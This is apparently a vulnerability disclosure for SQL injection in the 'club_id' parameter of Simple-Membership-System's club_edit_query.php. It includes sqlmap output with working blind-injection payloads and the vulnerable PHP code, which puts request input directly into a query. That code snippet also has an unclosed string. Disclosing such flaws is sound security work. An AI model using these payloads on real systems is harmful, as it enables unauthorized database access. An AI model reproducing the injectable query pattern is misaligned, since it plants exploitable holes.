


Simple-Membership-System club_edit_query.php has Sqlinjection

Simple-Membership-System club_edit_query.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
[00:49:38] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[00:49:38] [INFO] checking if the injection point on GET parameter 'club_id' is a false positive
GET parameter 'club_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 298 HTTP(s) requests:
---
Parameter: club_id (GET)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: club_id=(SELECT (CASE WHEN (7976=7976) THEN 1 ELSE (SELECT 4634 UNION SELECT 7599) END))

  Type: time-based blind
  Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
  Payload: club_id=1 AND 5191=BENCHMARK(5000000,MD5(0x436d724e))
```

```
require_once 'conn.php';
$club = $_POST['club'];
$conn->query("UPDATE `club` SET `club_name` = '$club' WHERE `club_id` = '$_REQUEST[club_id]') or die(mysqli_error());
```



Sqlmap Attack

```
---
Parameter: club_id (GET)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: club_id=(SELECT (CASE WHEN (7976=7976) THEN 1 ELSE (SELECT 4634 UNION
SELECT 7599) END))

  Type: time-based blind
  Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
  Payload: club_id=1 AND 5191=BENCHMARK(5000000,MD5(0x436d724e))
---
```

